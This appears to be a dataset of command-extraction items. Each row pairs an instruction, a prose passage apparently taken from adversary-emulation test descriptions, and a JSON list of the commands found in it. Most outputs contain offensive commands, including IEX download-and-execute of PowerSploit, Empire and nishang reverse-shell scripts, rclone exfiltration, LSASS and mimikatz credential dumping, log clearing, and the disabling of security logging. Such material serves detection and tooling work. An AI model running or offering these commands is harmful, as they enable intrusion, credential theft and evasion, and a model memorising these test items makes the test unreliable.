instruction stringclasses 1
value | input stringlengths 312 5.46k | output stringlengths 20 5.14k |
|---|---|---|
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To control the bash comm... | {"command_list": ["PS2=`logger -t \"$USER\" -f ~/.sh_history`\n$PS2\ntail /var/log/messages\n", "trap 'echo \"$(date +\"%d/%m/%y %H:%M:%S.%s\") $USER $BASH_COMMAND\" >> #{output_file}' DEBUG\necho \"Hello World!\"\ncat #{output_file}\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To copy and modify mail ... | {"command_list": ["New-Item -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -ItemType Directory -ErrorAction Ignore\nGet-ChildItem -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination \"C:\\Use... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
A precursor to deleting ... | {"command_list": ["vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%", "sc sdset VSS D:(D;;GA;;;NU)(D;;GA;;;WD)(D;;GA;;;AN)S:(AU;FA;GA;;;WD)(AU;OIIOFA;GA;;;WD)\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To configure Windows to ... | {"command_list": ["reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f\n", "Set-ItemProperty -Force -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest' -Name 'UseLogonCredential' -Value '1' -ErrorAction Ignore\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
The process of hooking P... | {"command_list": ["mavinject $pid /INJECTRUNNING \"#{file_name}\"\nInvoke-WebRequest #{server_name} -UseBasicParsing\n", "Enable-PSRemoting -Force\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To discover basic permis... | {"command_list": ["net localgroup\nnet localgroup \"Administrators\"\n", "get-localgroup\nGet-LocalGroupMember -Name \"Administrators\"\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
For recursively applying... | {"command_list": ["chmod -R #{symbolic_mode} #{file_or_folder}\n", "chown #{owner}:#{group} #{file_or_folder}\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To uncover the service a... | {"command_list": ["C:\\Windows\\System32\\inetsrv\\appcmd.exe list apppool /config", "rundll32.exe keymgr,KRShowKeyMgr"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
This module runs notepad... | {"command_list": ["[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1055.012\\src\\T1055.012-macr... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To create a root CA usin... | {"command_list": ["$cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\\LocalMachine\\My\nMove-Item -Path $cert.PSPath -Destination \"Cert:\\LocalMachine\\Root\"\n", "certutil -addstore my #{pfx_path}\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
For executing powershell... | {"command_list": ["Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop", "powershell.exe -e #{obfusc... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
Data exfiltration to a p... | {"command_list": ["$rclone_bin = Get-ChildItem C:\\Users\\Public\\Downloads\\ -Recurse -Include \"rclone.exe\" | Select-Object -ExpandProperty FullName\n$exfil_pack = Get-ChildItem C:\\Users\\Public\\Downloads\\ -Recurse -Include \"exfil.zip\" | Select-Object -ExpandProperty FullName\n&$rclone_bin config create ftpserv... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
For a service to start i... | {"command_list": ["REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal\\AtomicSafeMode\" /VE /T REG_SZ /F /D \"Service\"\n", "REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Network\\AtomicSafeMode\" /VE /T REG_SZ /F /D \"Service\"\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
For restarting a FreeBSD... | {"command_list": ["poweroff -r 3\n", "poweroff --reboot\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To disable Office securi... | {"command_list": ["New-Item -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\"\nNew-Item -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\"\nNew-Item -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\"\nNew-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\1... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
The output will be displ... | {"command_list": ["net group /domain \"Domain controllers\"\n", "cmd /c '#{netscan_path}' /hide /auto:\"$env:temp\\T1018NetscanOutput.txt\" /range:'#{range_to_scan}'"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To identify domain users... | {"command_list": ["[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroupMember \"Domain Admins\"\n", "[Net.ServicePointManager]::SecurityProtocol = [Net.Secur... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
A new proxy entry can be... | {"command_list": ["netsh interface portproxy add v4tov4 listenport=#{listenport} connectport=#{connectport} connectaddress=#{connectaddress}", "xcopy /I /Y \"#{web_shells}\" #{web_shell_path}\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To remove the battery ic... | {"command_list": ["reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v HideSCAPower /t REG_DWORD /d 1 /f\n", "reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v HideSCAVolume /t REG_DWORD /d 1 /f\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
For domain controllers i... | {"command_list": ["\"#{psexec_path}\" /accepteula \\\\#{machine} -c #{mimikatz_path} \"lsadump::lsa /inject /id:500\" \"exit\"\n", "$notepad = Start-Process notepad -passthru\nStart-Process \"$PathToAtomicsFolder\\T1055\\bin\\x64\\InjectView.exe\"\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To create a new IAM role... | {"command_list": ["gcloud config set project #{project-id}\ngcloud iam roles create #{role-name} --description=\"#{role-description}\" --permissions=#{roles} --project=#{project-id}\n", "wevtutil cl #{log_name}\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To obtain a listing of n... | {"command_list": ["netstat\nwho -a\n", "$syntaxList = #{syntax}\nforeach ($syntax in $syntaxList) {\n#{SharpView} $syntax -}\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To enable BitLocker with... | {"command_list": ["reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v EnableBDEWithNoTPM /t REG_DWORD /d 1 /f\n", "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UseTPM /t REG_DWORD /d 2 /f\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
You can extract local cr... | {"command_list": ["iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/DumpWCM.ps1')\nInvoke-WCMDump", "touch -a -t 197001010000.00 #{target_filename}\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
For the currently logged... | {"command_list": ["reg add HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging /v EnableModuleLogging /t REG_DWORD /d 0 /f\nreg add HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging /v EnableScriptBlockLogging /t REG_DWORD /d 0 /f\nreg add HKCU\\Software\\Policies\\Micr... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
The test uses PowerShell... | {"command_list": [". \"$PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\"\n$ppid=Get-Process #{parent_process_name} | select -expand id\nPPID-Spoof -ppid $ppid -spawnto \"#{spawnto_process_path}\" -dllpath \"#{dll_path}\"\n", "Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
When successful, system ... | {"command_list": ["cscript \"#{vbscript}\" > $env:TEMP\\T1059.005.out.txt\n", "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macr... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To enumerate AD informat... | {"command_list": ["Import-Module \"PathToAtomicsFolder\\..\\ExternalPayloads\\PowerView.ps1\"\nGet-NetDomainTrust\nGet-NetForestTrust\nGet-ADDomain\nGet-ADGroupMember Administrators -Recursive\n([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()\n", "\"PathToAtomicsFolder\... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
An adversary might decei... | {"command_list": ["$installer = \"C:\\Users\\$env:username\\Downloads\\ScreenConnect.msi\"\nInvoke-WebRequest -OutFile $installer \"https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_25.1.10.9197_Release.msi\"\nmsiexec /i $installer /qn\n", "Start-Process \"#{Ammyy_Admin_Path}\"\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To simulate an infected ... | {"command_list": ["Set-Location \"PathToAtomicsFolder\"\n.\\T1572\\src\\T1572-doh-domain-length.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}\n", "C:\\Users\\Public\\ngrok\\ngrok.exe config add-authtoken #{api_token} | Out-Null\nStart-Job -ScriptBlock { C:\\Users\\Publi... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
For token impersonation ... | {"command_list": ["[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose\n", "Start-Proces... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To search through a loca... | {"command_list": ["powershell -executionpolicy bypass -command \"#{file_path}\\Get-Inbox.ps1\" -file #{output_file}\n", "IEX (New-Object System.Net.WebClient).Downloadstring('https://raw.githubusercontent.com/samratashok/nishang/c75da7f91fcc356f846e09eab0cfd7f296ebf746/Shells/Invoke-PowerShellIcmp.ps1')\nInvoke-PowerSh... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To create a normal accou... | {"command_list": ["echo \"dn: cn=Atomic User, cn=Users,dc=#{domain},dc=#{top_level_domain}\\nobjectClass: person\\ncn: Atomic User\\nsn: User\" > tempadmin.ldif\necho ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif\nldapadd -H ldap://#{domain}.#{top_level_d... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
Upon successful executio... | {"command_list": ["import-module \"PathToAtomicsFolder\\..\\ExternalPayloads\\Invoke-EnumerateAzureBlobs.ps1\"\nInvoke-EnumerateAzureBlobs -base #{base} -permutations \"#{wordlist}\" -outputfile \"#{output_file}\"\n", "aws --no-sign-request s3 cp --recursive s3://#{s3_bucket_name} /tmp/#{s3_bucket_name}\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
For creating an LSASS me... | {"command_list": ["$exePath = resolve-path \"$env:ProgramFiles\\dotnet\\shared\\Microsoft.NETCore.App\\5*\\createdump.exe\"\n& \"$exePath\" -u -f $env:Temp\\dotnet-lsass.dmp (Get-Process lsass).id\n", "if (Test-Path -Path \"$env:SystemRoot\\System32\\rdrleakdiag.exe\") {\n $binary_path = \"$env:SystemRoot\\System... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
For situational awarenes... | {"command_list": ["\"#{trufflesnout_path}\" forest -n #{domain}\n\"#{trufflesnout_path}\" domain -n #{domain}\n", "for bucket in \"$(aws s3 ls | cut -d \" \" -f3)\"; do aws s3api list-objects-v2 --bucket $bucket --output text; done\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
Note that this method on... | {"command_list": ["rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:#{file_url}\").Exec();window.close();\n", "rundll32 vbscript:\"\\..\\mshtml,RunHTMLApplication \"+String(CreateObject(\"WScript.Shell\").Run(\"#{command_to_execute}\"),0)\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
The target system will b... | {"command_list": ["Import-Module \"PathToAtomicsFolder/T1595.003/src/WebServerScan.ps1\"\nInvoke-WordlistScan -Target \"#{target}\" -Wordlist \"#{wordlist}\" -Timeout \"#{request_timeout}\" -OutputFile \"#{output_file}\"\nWrite-Host \"Scan complete. Results saved to: #{output_file}\"\n", "certutil -encode #{executable}... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
Apple's backup utility c... | {"command_list": ["sudo tmutil disable", "echo \"#{pwd_for_encrypted_file}\" | $which_gpg --batch --yes --passphrase-fd 0 --cipher-algo #{encryption_alg} -o #{encrypted_file_path} -c #{input_file_path}\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
The AutoSUID application... | {"command_list": ["chmod +x #{autosuid}\nbash #{autosuid}\n", "chmod +x #{linenum}\nbash #{linenum}\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To simulate an interrupt... | {"command_list": ["which_ccencrypt=`which ccencrypt`\ncp #{root_input_file_path} #{cped_file_path};\n$which_ccencrypt -T -K #{pwd_for_encrypted_file} #{cped_file_path}\n", "which_openssl=`which openssl`\n$which_openssl genrsa -out #{private_key_path} #{encryption_bit_size}\n$which_openssl rsa -in #{private_key_path} -p... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To download and save a f... | {"command_list": ["(New-Object Net.WebClient).DownloadString('#{target_remote_file}') | Out-File #{output_file}; Invoke-Item #{output_file}\n", "finger base64_filedata@#{remote_host}\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
The Active Directory dat... | {"command_list": ["wmic /node:\"#{target_host}\" shadowcopy call create Volume=#{drive_letter}\n", "wmic /node:\"#{target_host}\" process call create \"cmd.exe /c esentutl.exe /y /vss #{source_path} /d #{target_path}\"\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
This test simulates an a... | {"command_list": ["xcopy /I /Y \"#{web_shells}\" #{web_shell_path}\n", "Invoke-WebRequest -OutFile C:\\Users\\$env:username\\Desktop\\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe\n$file1 = \"C:\\Users\\\" + $env:username + \"\\Desktop\\TeamViewer_Setup.exe\"\nStart-Process -Wait $f... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To evade defensive count... | {"command_list": ["wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u \"#{payload_path}\"", "ipconfig /all\nnetsh interface show interface\narp -a\nnbtstat -n\nnet config\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
The system services can ... | {"command_list": ["if [ \"$(uname)\" = 'FreeBSD' ]; then service -e; else systemctl --type=service; fi;\n", "powershell.exe Get-Service"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
